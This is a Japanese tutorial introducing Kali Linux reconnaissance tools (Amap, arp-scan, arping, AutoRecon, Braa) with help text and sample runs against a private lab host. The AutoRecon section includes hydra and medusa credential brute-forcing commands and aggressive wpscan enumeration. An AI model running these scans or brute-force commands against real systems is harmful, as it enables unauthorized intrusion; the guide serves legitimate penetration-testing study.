Kali Tools に掲載されているツールの中から実際に動作確認したものを簡単にご紹介します。
※全ツールの5割程度のご紹介となります。紹介していないツールは検証環境が用意できなかったり、エラーで確認できない、使い方がよく分からないなどが主な理由ですが、数が多過ぎてブラウザが固まってしまうため一部割愛させて頂きました。ご容赦ください。
※ツールのカテゴリーは私が大雑把に付けただけなので適していないかもしれません（ツールの並び順はA～Zの順で試してまとめただけで特に意味はありません）。

Network Tools

Network Scanning

Amap

指定されたポートで稼働しているアプリケーションを推測します。

■ 使用方法

root@kali:~# amap --help

Syntax: amap [-A|-B|-P|-W] [-1buSRHUdqv] [[-m] -o <file>] [-D <file>] [-t/-T sec] [-c cons] [-C retries] [-p proto] [-i <file>] [target port [port] ...]

Modes:
  -A         Map applications: send triggers and analyse responses (default)
  -B         Just grab banners, do not send triggers
  -P         No banner or application stuff - be a (full connect) port scanner
Options:
  -1         Only send triggers to a port until 1st identification. Speeeeed!
  -6         Use IPv6 instead of IPv4
  -b         Print ascii banner of responses
  -i FILE    Nmap machine readable outputfile to read ports from
  -u         Ports specified on commandline are UDP (default is TCP)
  -R         Do NOT identify RPC service
  -H         Do NOT send application triggers marked as potentially harmful
  -U         Do NOT dump unrecognised responses (better for scripting)
  -d         Dump all responses
  -v         Verbose mode, use twice (or more!) for debug (not recommended :-)
  -q         Do not report closed ports, and do not print them as unidentified
  -o FILE [-m] Write output to file FILE, -m creates machine readable output
  -c CONS    Amount of parallel connections to make (default 32, max 256)
  -C RETRIES Number of reconnects on connect timeouts (see -T) (default 3)
  -T SEC     Connect timeout on connection attempts in seconds (default 5)
  -t SEC     Response wait timeout in seconds (default 5)
  -p PROTO   Only send triggers for this protocol (e.g. ftp)
  TARGET PORT   The target address and port(s) to scan (additional to -i)

■ 使用例

root@kali:~# nmap 192.168.11.4 -oM scan.out
root@kali:~# amap -i scan.out
Protocol on 192.168.11.4:21/tcp matches ftp
Protocol on 192.168.11.4:3306/tcp matches mysql
Protocol on 192.168.11.4:6667/tcp matches ircd
Protocol on 192.168.11.4:5900/tcp matches vnc
Protocol on 192.168.11.4:23/tcp matches telnet
Protocol on 192.168.11.4:8180/tcp matches http
Protocol on 192.168.11.4:8180/tcp matches http-apache-2
Protocol on 192.168.11.4:22/tcp matches ssh
Protocol on 192.168.11.4:22/tcp matches ssh-openssh
Protocol on 192.168.11.4:80/tcp matches http
Protocol on 192.168.11.4:80/tcp matches http-apache-2
Protocol on 192.168.11.4:2121/tcp matches ftp
Protocol on 192.168.11.4:25/tcp matches smtp
Protocol on 192.168.11.4:445/tcp matches mysql
Protocol on 192.168.11.4:445/tcp matches netbios-session
Protocol on 192.168.11.4:139/tcp matches ms-ds
Protocol on 192.168.11.4:445/tcp matches ms-ds
Protocol on 192.168.11.4:513/tcp matches (response_of_many_applications)
Protocol on 192.168.11.4:139/tcp matches mysql
Protocol on 192.168.11.4:139/tcp matches netbios-session
Protocol on 192.168.11.4:5432/tcp matches mysql
Protocol on 192.168.11.4:513/tcp matches rlogin
Protocol on 192.168.11.4:6000/tcp matches x-windows

arp-scan

ARPプロトコルを使ってローカルネットワーク上のIPv4ホストを検出します。

■ 使用方法

root@kali:~# arp-scan --help

Usage: arp-scan [options] [hosts...]

[...]

Options:

The data type for option arguments is shown by a letter in angle brackets: 

<s> Character string.
<i> Decimal integer, or hex if preceeded by 0x e.g. 2048 or 0x800.
<f> Floating point decimal number.
<m> MAC address, e.g. 01:23:45:67:89:ab or 01-23-45-67-89-ab (case insensitive)
<a> IPv4 address e.g. 10.0.0.1
<h> Hex encoded binary data. No leading 0x. (case insensitive).
<x> Something else - see option description.

General Options:

--help or -h            Display this usage message and exit.

--verbose or -v         Display verbose progress messages.
                        Can be used than once to increase verbosity. Max=3.

--version or -V         Display program version details and exit.
                        Shows the version, license details, libpcap version,
                        and whether POSIX.1e capability support is included.

--interface=<s> or -I <s> Use network interface <s>.
                        If this option is not specified, arp-scan will search
                        the system interface list for the lowest numbered,
                        configured up interface (excluding loopback).

Host Selection:

--file=<s> or -f <s>    Read hostnames or addresses from the specified file
                        One name or address pattern per line. Use "-" for stdin.

--localnet or -l        Generate addresses from interface configuration.
                        Generates list from interface address and netmask
                        (network and broadcast included). You cannot use the
                        --file option or give targets on the command line.
                        Use --interface to specify the interface.

MAC/Vendor Mapping Files:

--ouifile=<s> or -O <s> Use IEEE registry vendor mapping file <s>.
                        Default is ieee-oui.txt in the current directory. If
                        that is not found /usr/share/arp-scan/ieee-oui.txt
                        is used.

--macfile=<s> or -m <s> Use custom vendor mapping file <s>.
                        Default is mac-vendor.txt in the current directory.
                        If that is not found
                        /etc/arp-scan/mac-vendor.txt is used.

Output Format Control:

--quiet or -q           Display minimal output for each responding host.
                        Only the IP address and MAC address are displayed.
                        Reduces memory usage by about 5MB because the
                        vendor mapping files are not used. Only the ${ip}
                        and ${mac} fields are available for the --format
                        option if --quiet is specified.

--plain or -x           Supress header and footer text.
                        Only display the responding host details. Useful if
                        the output will be parsed by a script.

--ignoredups or -g      Don\'t display duplicate packets.
                        By default duplicate packets are flagged with
                        "(DUP: n)" where n is the number of times this
                        host has responded.

--rtt or -D             Calculate and display the packet round-trip time.
                        The time is displayed in milliseconds and fractional
                        microseconds. Makes the ${rtt} field available for
                        --format.

--format=<s> or -F <s>  Specify the output format string.
                        The format is a string that will be output for each
                        responding host. Host details can be included by
                        inserting references to fields using the syntax
                        "${field[;width]}". Fields are displayed right-
                        aligned unless the width is negative in which case
                        left alignment will be used. The following case-
                        insensitive field names are recognised:

                        IP      Host IPv4 address in dotted quad format
                        Name    Host name if --resolve option given
                        MAC     Host MAC address xx:xx:xx:xx:xx:xx
                        HdrMAC  Ethernet source addr if different
                        Vendor  Vendor details string
                        Padding Padding after ARP packet in hex if nonzero
                        Framing Framing type if not Ethernet_II
                        VLAN    802.1Q VLAD ID if present
                        Proto   ARP protocol if not 0x0800
                        DUP     Packet number for duplicate packets (>1)
                        RTT     Round trip time if --rtt option given

                        Only the "ip" and "mac" fields are available if the
                        --quiet option is specified.

                        Any characters that are not fields are output
                        verbatim. \"\" introduces escapes:

                        \n newline
                        \r carriage return
                        \t tab
                        \  suppress special meaning for following character

                        You should enclose the --format argument in 'single
                        quotes' to protect special characters from the shell.

                        Example: --format='${ip}\t${mac}\t${vendor}'

Host List Randomisation:

--random or -R          Randomise the target host list.

--randomseed=<i>        Seed the pseudo random number generator.
                        Useful if you want a reproducible --random order.

Output Timing and Retry:

--retry=<i> or -r <i>   Set total number of attempts per host to <i>,
                        default=2.

--backoff=<f> or -b <f> Set backoff factor to <f>, default=1.50.
                        Multiplies timeout by <f> for each pass.

--timeout=<i> or -t <i> Set initial per host timeout to <i> ms, default=500.
                        This timeout is for the first packet sent to each host.
                        subsequent timeouts are multiplied by the backoff
                        factor which is set with --backoff.

--interval=<x> or -i <x> Set minimum packet interval to <x>.
                        This controls the outgoing bandwidth usage by limiting
                        the packet rate. If you want to use up to a given
                        bandwidth it is easier to use the --bandwidth option
                        instead. The interval is in milliseconds, or
                        microseconds if "u" is appended.

--bandwidth=<x> or -B <x> Set outbound bandwidth to <x>, default=256000.
                        The value is in bits per second. Append K for
                        kilobits or M for megabits (decimal multiples). You
                        cannot specify both --interval and --bandwidth.

DNS Resolution:

--numeric or -N         Targets must be IP addresses, not hostnames.
                        Can reduce startup time for large target lists.

--resolve or -d         Resolve responding addresses to hostnames.
                        The default output format will display the hostname
                        instead of the IPv4 address. This option makes the
                        ${name} field available for the --format option.

Output ARP Packet:

--arpsha=<m> or -u <m>  Set the ARP source Ethernet address.
                        Sets the 48-bit ar$sha field but does not change the
                        hardware address in the frame header, see --srcaddr
                        for how to change that address. Default is the
                        Ethernet address of the outgoing interface.

--arptha=<m> or -w <m>  Set the ARP target Ethernet address.
                        Sets the 48-bit ar$tha field. The default is zero
                        because this field is not used for ARP request packets.

--arphrd=<i> or -H <i>  Set the ARP hardware type, default=1.
                        Sets the 16-bit ar$hrd field. The default is 1
                        (ARPHRD_ETHER). Many operating systems also respond to
                        6 (ARPHRD_IEEE802)

--arppro=<i> or -p <i>  Set the ARP protocol type, default=0x0800.
                        Sets the 16-bit ar$pro field. Most operating systems
                        only respond to 0x0800 (IPv4).

--arphln=<i> or -a <i>  Set the hardware address length, default=6.
                        Sets the 8-bit ar$hln field. The lengths of the
                        ar$sha and ar$tha fields are not changed by this
                        option; it only changes the ar$hln field.

--arppln=<i> or -P <i>  Set the protocol address length, default=4.
                        Sets the 8-bit ar$pln field. The lengths of the ar$spa
                        and ar$tpa fields are not changed by this option;
                        it only changes the ar$pln field.

--arpop=<i> or -o <i>   Specify the ARP operation, default=1.
                        Sets the 16-bit ar$op field. Most operating systems
                        only respond to the value 1 (ARPOP_REQUEST).

--arpspa=<a> or -s <a>  Set the source IPv4 address.
                        The address should be in dotted quad format, or the
                        string "dest", which sets the source address to
                        the target host address. The default is the outgoing
                        interface address. Sets the 32-bit ar$spa field. Some
                        operating systems only respond if the source address
                        is within the network of the receiving interface.
                        Setting ar$spa to the destination IP address can cause
                        some operating systems to report an address clash.

Output Ethernet Header:

--srcaddr=<m> or -S <m> Set the source Ethernet MAC address.
                        Default is the interface MAC address. This sets the
                        address in the Ethernet header. It does not change the
                        address in the ARP packet: use --arpsha to change
                        that address.

--destaddr=<m> or -T <m> Set the destination MAC address.
                        Sets the destination address in the Ethernet
                        header. Default is ff:ff:ff:ff:ff:ff (broadcast)
                        Hosts also respond if the request is sent to their
                        unicast address, or to a multicast address they
                        are listening on.

--prototype=<i> or -y <i> Sets the Ethernet protocol type, default=0x0806.
                        This sets the protocol type field in the Ethernet
                        header.

--llc or -L             Use RFC 1042 LLC/SNAP encapsulation for 802.2 networks.
                        arp-scan will decode and display ARP responses in both
                        Ethernet-II and IEEE 802.2 formats irrespective of
                        this option.

--vlan=<i> or -Q <i>    Use 802.1Q tagging with VLAN id <i>.
                        The id should be in the range 0 to 4095. arp-scan will
                        decode and display ARP responses in 802.1Q format
                        irrespective of this option.

Misc Options:

--limit=<i> or -M <i>   Exit after the specified number of hosts have responded.
                        arp-scan will exit with status 1 if the number of
                        responding hosts is less than the limit. Can be used
                        in scripts to check if fewer hosts respond without
                        having to parse the output.

--pcapsavefile=<s> or -W <s>    Write received packets to pcap savefile <s>.
                        ARP responses will be written to the specified file
                        as well as being decoded and displayed.

--snap=<i> or -n <i>    Set the pcap snap length to <i>. Default=64.
                        Specifies the frame capture length, including the
                        Ethernet header. The default is normally sufficient.

--retry-send=<i> or -Y <i> Set number of send attempts, default=20.

--retry-send-interval=<i> or -E <i> Set interval between send attempts.
                        Interval is in milliseconds or microseconds if "u"
                        is appended. default=5.

--padding=<h> or -A <h> Specify padding after packet data.
                        Set padding after the ARP request to hex value <h>.

■ 使用例

root@kali:~# arp-scan  --localnet
Interface: eth0, type: EN10MB, MAC: 00:15:5d:ec:c6:aa, IPv4: 192.168.11.2
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.11.1      d4:2c:46:be:0f:60       BUFFALO.INC
192.168.11.3      dc:fb:48:75:75:0b       Intel Corporate
192.168.11.4      dc:a2:66:20:35:65       Hon Hai Precision Ind. Co.,Ltd.

ARPing

ローカルネットワーク上の指定されたIPアドレスに対してARPパケットをブロードキャストしてその応答結果を表示します。

■ 使用方法

root@kali:~# arping --help

usage: arping [ -0aAbdDeFpPqrRuUvzZ ] [ -w <sec> ] [ -W <sec> ] [ -S <host/ip> ]
              [ -T <host/ip ] [ -s <MAC> ] [ -t <MAC> ] [ -c <count> ]
              [ -C <count> ] [ -i <interface> ] [ -m <type> ] [ -g <group> ]
              [ -V <vlan> ] [ -Q <priority> ] <host/ip/MAC | -B>

Options:

    -0     Use this option to ping with source IP address 0.0.0.0. Use this
           when you haven\'t configured your interface yet.  Note that  this
           may  get  the  MAC-ping  unanswered.   This  is  an alias for -S
           0.0.0.0.
    -a     Audiable ping.
    -A     Only count addresses matching  requested  address  (This  *WILL*
           break  most things you do. Only useful if you are arpinging many
           hosts at once. See arping-scan-net.sh for an example).
    -b     Like -0 but source broadcast source  address  (255.255.255.255).
           Note that this may get the arping unanswered since it\'s not nor-
           mal behavior for a host.
    -B     Use instead of host if you want to address 255.255.255.255.
    -c count
           Only send count requests.
    -C count
           Only wait for this many replies, regardless of -c and -w.
    -d     Find duplicate replies. Exit with 1 if there are answers from
           two different MAC addresses.
    -D     Display answers as exclamation points and missing packets as dots.
    -e     Like -a but beep when there is no reply.
    -F     Don\'t try to be smart about the interface name.  (even  if  this
           switch is not given, -i overrides smartness)
    -g group
           setgid() to this group instead of the nobody group.
    -h     Displays a help message and exits.
    -i interface
           Use the specified interface.
    -m type
           Type of timestamp to use for incoming packets. Use -vv when
           pinging to list available ones.
    -q     Does not display messages, except error messages.
    -Q pri 802.1p priority to set. Should be used with 802.1Q (-V).
           Defaults to 0.
    -r     Raw output: only the MAC/IP address is displayed for each reply.
    -R     Raw output: Like -r but shows "the other one", can  be  combined
           with -r.
    -s MAC Set source MAC address. You may need to use -p with this.
    -S IP  Like  -b and -0 but with set source address.  Note that this may
           get the arping unanswered if the target does not have routing to
           the  IP.  If you don\'t own the IP you are using, you may need to
           turn on promiscious mode on the interface (with -p).  With  this
           switch  you can find out what IP-address a host has without tak-
           ing an IP-address yourself.
    -t MAC Set target MAC address to use when pinging IP address.
    -T IP  Use -T as target address when pinging MACs that won\'t respond to
           a broadcast ping but perhaps to a directed broadcast.
           Example:
           To check the address of MAC-A, use knowledge of MAC-B and  IP-B.
           $ arping -S <IP-B> -s <MAC-B> -p <MAC-A>
    -p     Turn  on  promiscious  mode  on interface, use this if you don\'t
           "own" the MAC address you are using.
    -P     Send ARP replies instead of requests. Useful with -U.
    -u     Show index=received/sent instead  of  just  index=received  when
           pinging MACs.
    -U     Send unsolicited ARP.
    -v     Verbose output. Use twice for more messages.
    -V num 802.1Q tag to add. Defaults to no VLAN tag.
    -w sec Specify a timeout before ping exits regardless of how many
           packets have been sent or received.
    -W sec Time to wait between pings.
    -z     Enable seccomp
    -Z     Disable seccomp (default)

■ 使用例

root@kali:~# arping -c 3 -i eth0 192.169.11.4
ARPING 192.169.11.3
42 bytes from 02:42:ac:12:00:03 (192.169.11.4): index=0 time=9.301 usec
42 bytes from 02:42:ac:12:00:03 (192.169.11.4): index=1 time=4.900 usec
42 bytes from 02:42:ac:12:00:03 (192.169.11.4): index=2 time=13.101 usec

--- 192.169.11.3 statistics ---
3 packets transmitted, 3 packets received,   0% unanswered (0 extra)
rtt min/avg/max/std-dev = 0.005/0.009/0.013/0.003 ms

# arping実行中のパケットをキャプチャ
root@kali:~# tcpdump -n -i eth0
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
11:59:12.063192 ARP, Request who-has 192.168.11.4 tell 192.168.11.3, length 44
11:59:12.063247 ARP, Request who-has 192.168.11.4 tell 192.168.11.3, length 44
11:59:12.063255 ARP, Reply 192.168.11.4 is-at 02:42:ac:12:00:03, length 28
11:59:13.064481 ARP, Request who-has 192.168.11.4 tell 192.168.11.3, length 44
11:59:13.064511 ARP, Request who-has 192.168.11.4 tell 192.168.11.3, length 44
11:59:13.064514 ARP, Reply 192.168.11.4 is-at 02:42:ac:12:00:03, length 28
11:59:14.065806 ARP, Request who-has 192.168.11.4 tell 192.168.11.3, length 44
11:59:14.065878 ARP, Request who-has 192.168.11.4 tell 192.168.11.3, length 44
11:59:14.065888 ARP, Reply 192.168.11.4 is-at 02:42:ac:12:00:03, length 28

AutoRecon

ポートスキャン／サービス検出スキャンを実行し、検出結果に応じて適切なツールで追加のスキャンを行い、結果をレポート出力します。

■ 使用方法

root@kali:~# autorecon --help

usage: autorecon [-t TARGET_FILE] [-p PORTS] [-m MAX_SCANS] [-mp MAX_PORT_SCANS] [-c CONFIG_FILE] [-g GLOBAL_FILE] [--tags TAGS]
                 [--exclude-tags TAGS] [--port-scans PLUGINS] [--service-scans PLUGINS] [--reports PLUGINS]
                 [--plugins-dir PLUGINS_DIR] [--add-plugins-dir PLUGINS_DIR] [-l [TYPE]] [-o OUTPUT] [--single-target]
                 [--only-scans-dir] [--no-port-dirs] [--heartbeat HEARTBEAT] [--timeout TIMEOUT]
                 [--target-timeout TARGET_TIMEOUT] [--nmap NMAP | --nmap-append NMAP_APPEND] [--proxychains]
                 [--disable-sanity-checks] [--disable-keyboard-control] [--force-services SERVICE [SERVICE ...]]
                 [-mpti PLUGIN:NUMBER [PLUGIN:NUMBER ...]] [-mpgi PLUGIN:NUMBER [PLUGIN:NUMBER ...]] [--accessible] [-v]
                 [--version] [--curl.path VALUE] [--dirbuster.tool {feroxbuster,gobuster,dirsearch,ffuf,dirb}]
                 [--dirbuster.wordlist VALUE [VALUE ...]] [--dirbuster.threads VALUE] [--dirbuster.ext VALUE]
                 [--dirbuster.recursive] [--dirbuster.extras VALUE] [--enum4linux.tool {enum4linux-ng,enum4linux}]
                 [--onesixtyone.community-strings VALUE] [--subdomain-enum.domain VALUE]
                 [--subdomain-enum.wordlist VALUE [VALUE ...]] [--subdomain-enum.threads VALUE] [--vhost-enum.hostname VALUE]
                 [--vhost-enum.wordlist VALUE [VALUE ...]] [--vhost-enum.threads VALUE] [--wpscan.api-token VALUE]
                 [--global.username-wordlist VALUE] [--global.password-wordlist VALUE] [--global.domain VALUE] [-h]
                 [targets ...]

Network reconnaissance tool to port scan and automatically enumerate services found on multiple targets.

positional arguments:
  targets               IP addresses (e.g. 10.0.0.1), CIDR notation (e.g. 10.0.0.1/24), or resolvable hostnames (e.g. foo.bar)
                        to scan.

options:
  -t TARGET_FILE, --target-file TARGET_FILE
                        Read targets from file.
  -p PORTS, --ports PORTS
                        Comma separated list of ports / port ranges to scan. Specify TCP/UDP ports by prepending list with T:/U:
                        To scan both TCP/UDP, put port(s) at start or specify B: e.g. 53,T:21-25,80,U:123,B:123. Default: None
  -m MAX_SCANS, --max-scans MAX_SCANS
                        The maximum number of concurrent scans to run. Default: 50
  -mp MAX_PORT_SCANS, --max-port-scans MAX_PORT_SCANS
                        The maximum number of concurrent port scans to run. Default: 10 (approx 20% of max-scans unless
                        specified)
  -c CONFIG_FILE, --config CONFIG_FILE
                        Location of AutoRecon\'s config file. Default: /root/.config/AutoRecon/config.toml
  -g GLOBAL_FILE, --global-file GLOBAL_FILE
                        Location of AutoRecon\'s global file. Default: /root/.config/AutoRecon/global.toml
  --tags TAGS           Tags to determine which plugins should be included. Separate tags by a plus symbol (+) to group tags
                        together. Separate groups with a comma (,) to create multiple groups. For a plugin to be included, it
                        must have all the tags specified in at least one group. Default: default
  --exclude-tags TAGS   Tags to determine which plugins should be excluded. Separate tags by a plus symbol (+) to group tags
                        together. Separate groups with a comma (,) to create multiple groups. For a plugin to be excluded, it
                        must have all the tags specified in at least one group. Default: None
  --port-scans PLUGINS  Override --tags / --exclude-tags for the listed PortScan plugins (comma separated). Default: None
  --service-scans PLUGINS
                        Override --tags / --exclude-tags for the listed ServiceScan plugins (comma separated). Default: None
  --reports PLUGINS     Override --tags / --exclude-tags for the listed Report plugins (comma separated). Default: None
  --plugins-dir PLUGINS_DIR
                        The location of the plugins directory. Default: /root/.local/share/AutoRecon/plugins
  --add-plugins-dir PLUGINS_DIR
                        The location of an additional plugins directory to add to the main one. Default: None
  -l [TYPE], --list [TYPE]
                        List all plugins or plugins of a specific type. e.g. --list, --list port, --list service
  -o OUTPUT, --output OUTPUT
                        The output directory for results. Default: results
  --single-target       Only scan a single target. A directory named after the target will not be created. Instead, the
                        directory structure will be created within the output directory. Default: False
  --only-scans-dir      Only create the "scans" directory for results. Other directories (e.g. exploit, loot, report) will not
                        be created. Default: False
  --no-port-dirs        Don\'t create directories for ports (e.g. scans/tcp80, scans/udp53). Instead store all results in the
                        "scans" directory itself. Default: False
  --heartbeat HEARTBEAT
                        Specifies the heartbeat interval (in seconds) for scan status messages. Default: 60
  --timeout TIMEOUT     Specifies the maximum amount of time in minutes that AutoRecon should run for. Default: None
  --target-timeout TARGET_TIMEOUT
                        Specifies the maximum amount of time in minutes that a target should be scanned for before abandoning it
                        and moving on. Default: None
  --nmap NMAP           Override the {nmap_extra} variable in scans. Default: -vv --reason -Pn -T4
  --nmap-append NMAP_APPEND
                        Append to the default {nmap_extra} variable in scans. Default:
  --proxychains         Use if you are running AutoRecon via proxychains. Default: False
  --disable-sanity-checks
                        Disable sanity checks that would otherwise prevent the scans from running. Default: False
  --disable-keyboard-control
                        Disables keyboard control ([s]tatus, Up, Down) if you are in SSH or Docker.
  --force-services SERVICE [SERVICE ...]
                        A space separated list of services in the following style: tcp/80/http tcp/443/https/secure
  -mpti PLUGIN:NUMBER [PLUGIN:NUMBER ...], --max-plugin-target-instances PLUGIN:NUMBER [PLUGIN:NUMBER ...]
                        A space separated list of plugin slugs with the max number of instances (per target) in the following
                        style: nmap-http:2 dirbuster:1. Default: None
  -mpgi PLUGIN:NUMBER [PLUGIN:NUMBER ...], --max-plugin-global-instances PLUGIN:NUMBER [PLUGIN:NUMBER ...]
                        A space separated list of plugin slugs with the max number of global instances in the following style:
                        nmap-http:2 dirbuster:1. Default: None
  --accessible          Attempts to make AutoRecon output more accessible to screenreaders. Default: False
  -v, --verbose         Enable verbose output. Repeat for more verbosity.
  --version             Prints the AutoRecon version and exits.
  -h, --help            Show this help message and exit.

plugin arguments:
  These are optional arguments for certain plugins.

  --curl.path VALUE     The path on the web server to curl. Default: /
  --dirbuster.tool {feroxbuster,gobuster,dirsearch,ffuf,dirb}
                        The tool to use for directory busting. Default: feroxbuster
  --dirbuster.wordlist VALUE [VALUE ...]
                        The wordlist(s) to use when directory busting. Separate multiple wordlists with spaces. Default:
                        ['/root/.local/share/AutoRecon/wordlists/dirbuster.txt']
  --dirbuster.threads VALUE
                        The number of threads to use when directory busting. Default: 10
  --dirbuster.ext VALUE
                        The extensions you wish to fuzz (no dot, comma separated). Default: txt,html,php,asp,aspx,jsp
  --dirbuster.recursive
                        Enables recursive searching (where available). Warning: This may cause significant increases to scan
                        times. Default: False
  --dirbuster.extras VALUE
                        Any extra options you wish to pass to the tool when it runs. e.g. --dirbuster.extras='-s 200,301
                        --discover-backup'
  --enum4linux.tool {enum4linux-ng,enum4linux}
                        The tool to use for doing Windows and Samba enumeration. Default: enum4linux-ng
  --onesixtyone.community-strings VALUE
                        The file containing a list of community strings to try. Default:
                        /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt
  --subdomain-enum.domain VALUE
                        The domain to use as the base domain (e.g. example.com) for subdomain enumeration. Default: None
  --subdomain-enum.wordlist VALUE [VALUE ...]
                        The wordlist(s) to use when enumerating subdomains. Separate multiple wordlists with spaces. Default:
                        ['/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt']
  --subdomain-enum.threads VALUE
                        The number of threads to use when enumerating subdomains. Default: 10
  --vhost-enum.hostname VALUE
                        The hostname to use as the base host (e.g. example.com) for virtual host enumeration. Default: None
  --vhost-enum.wordlist VALUE [VALUE ...]
                        The wordlist(s) to use when enumerating virtual hosts. Separate multiple wordlists with spaces. Default:
                        ['/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt']
  --vhost-enum.threads VALUE
                        The number of threads to use when enumerating virtual hosts. Default: 10
  --wpscan.api-token VALUE
                        An API Token from wpvulndb.com to help search for more vulnerabilities.

global plugin arguments:
  These are optional arguments that can be used by all plugins.

  --global.username-wordlist VALUE
                        A wordlist of usernames, useful for bruteforcing. Default: /usr/share/seclists/Usernames/top-usernames-
                        shortlist.txt
  --global.password-wordlist VALUE
                        A wordlist of passwords, useful for bruteforcing. Default:
                        /usr/share/seclists/Passwords/darkweb2017-top100.txt
  --global.domain VALUE
                        The domain to use (if known). Used for DNS and/or Active Directory. Default: None

■ 使用例

root@kali:~# autorecon 192.168.11.4 \
--dirbuster.threads 40 \
--dirbuster.wordlist raft-large-directories.txt raft-large-files.txt \
--nmap-append="--script-timeout=30s" --no-port-dirs \
--reports markdown -o /root -v
[*] Scanning target 192.168.11.4
[*] Port scan Top TCP Ports (top-tcp-ports) running against 192.168.11.4
[*] Port scan Top TCP Ports (top-tcp-ports) is running the following command against 192.168.11.4: nmap -vv --reason -Pn -T4 --script-timeout=30s -sV -sC --version-all -A --osscan-guess -oN "/root/192.168.11.4/scans/_quick_tcp_nmap.txt" -oX "/root/192.168.11.4/scans/xml/_quick_tcp_nmap.xml" 192.168.11.4
[*] Port scan All TCP Ports (all-tcp-ports) running against 192.168.11.4
[...]
[*] Port scan Top 100 UDP Ports (top-100-udp-ports) against 192.168.11.4 finished in 3 minutes, 50 seconds
[*] Finished scanning target 192.168.11.4 in 3 minutes, 51 seconds
[*] Finished scanning all targets in 3 minutes, 52 seconds!
[*] Don\'t forget to check out more commands to run manually in the _manual_commands.txt file in each target\'s scans directory!

出力されるレポートの一例

Webサービスが検出されたため自動でNiktoが実行される。

- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.11.4
+ Target Hostname:    192.168.11.4
+ Target Port:        80
+ Start Time:         2024-09-16 04:06:27 (GMT0)
---------------------------------------------------------------------------
+ Server: Apache/2.4.53 (Debian)
+ /: Retrieved x-powered-by header: PHP/7.4.28.
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: Drupal Link header found with value: <http://192.168.11.4/index.php?rest_route=/>; rel="https://api.w.org/". See: https://www.drupal.org/
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /index.php?: Uncommon header 'x-redirect-by' found, with contents: WordPress.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.53 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ /license.txt: License file found may identify site software.
+ /: A Wordpress installation was found.
+ /wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /wp-login.php: Wordpress login found.
+ 7729 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time:           2024-09-16 04:06:50 (GMT0) (23 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

検出されたサービスに合わせて推奨スキャンが提示される（ユーザーによる手動実行）。

[*] http on tcp/80

	[-] (ffuf) Multi-threaded recursive directory/file enumeration for web servers using various wordlists:

		ffuf -u http://192.168.11.4:80/FUZZ -t 40 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e ".txt,.html,.php,.asp,.aspx,.jsp" -v -r -noninteractive | tee /root/192.168.11.4/scans/tcp_80_http_ffuf_dirbuster.txt

	[-] Credential bruteforcing commands (don\'t run these without modifying them):

		hydra -L "/usr/share/seclists/Usernames/top-usernames-shortlist.txt" -P "/usr/share/seclists/Passwords/darkweb2017-top100.txt" -e nsr -s 80 -o "/root/192.168.11.4/scans/tcp_80_http_auth_hydra.txt" http-get://192.168.11.4/path/to/auth/area

		medusa -U "/usr/share/seclists/Usernames/top-usernames-shortlist.txt" -P "/usr/share/seclists/Passwords/darkweb2017-top100.txt" -e ns -n 80 -O "/root/192.168.11.4/scans/tcp_80_http_auth_medusa.txt" -M http -h 192.168.11.4 -m DIR:/path/to/auth/area

		hydra -L "/usr/share/seclists/Usernames/top-usernames-shortlist.txt" -P "/usr/share/seclists/Passwords/darkweb2017-top100.txt" -e nsr -s 80 -o "/root/192.168.11.4/scans/tcp_80_http_form_hydra.txt" http-post-form://192.168.11.4/path/to/login.php:"username=^USER^&password=^PASS^":"invalid-login-message"

		medusa -U "/usr/share/seclists/Usernames/top-usernames-shortlist.txt" -P "/usr/share/seclists/Passwords/darkweb2017-top100.txt" -e ns -n 80 -O "/root/192.168.11.4/scans/tcp_80_http_form_medusa.txt" -M web-form -h 192.168.11.4 -m FORM:/path/to/login.php -m FORM-DATA:"post?username=&password=" -m DENY-SIGNAL:"invalid login message"

	[-] (wpscan) WordPress Security Scanner (useful if WordPress is found):

		wpscan --url http://192.168.11.4:80/ --no-update -e vp,vt,tt,cb,dbe,u,m --plugins-detection aggressive --plugins-version-detection aggressive -f cli-no-color 2>&1 | tee "/root/192.168.11.4/scans/tcp_80_http_wpscan.txt"

Braa

SNMPスキャナーです。大量のホストに対して高速でスキャンを行うことができます。

■ 使用方法

root@kali:~# braa --help

usage: braa [options] [query1] [query2] ...
  -h        Show this help.
  -2        Claim to be a SNMP2C agent.
  -v        Show short summary after doing all queries.
  -x        Hexdump octet-strings
  -t <s>    Wait <s> seconds for responses.
  -d <s>    Wait <s> microseconds after sending each packet.
  -p <s>    Wait <s> milliseconds between subsequent passes.
  -f <file> Load queries from file <file> (one by line).
  -a <time> Quit after <time> seconds, independent on what happens.
  -r <rc>   Retry count (default: 3).

Query format:
  GET:   [community@]iprange[:port]:oid[/id]
  WALK:  [community@]iprange[:port]:oid.*[/id]
  SET:   [community@]iprange[:port]:oid=value[/id]

Examples:
         public@10.253.101.1:161:.1.3.6.*
         10.253.101.1-10.253.101.255:.1.3.6.1.2.1.1.4.0=sme
         10.253.101.1:.1.3.6.1.2.1.1.1.0/description

It is also possible to specify multiple queries at once:
         10.253.101.1-10.253.101.255:.1.3.6.1.2.1.1.4.0=sme,.1.3.6.*
         (Will set .1.3.6.1.2.1.1.4.0 to 'me' and do a walk starting from .1.3.6)


Values for SET queries have to be prepended with a character specifying the value type:
  i      is INTEGER
  a      is IPADDRESS
  s      is OCTET STRING
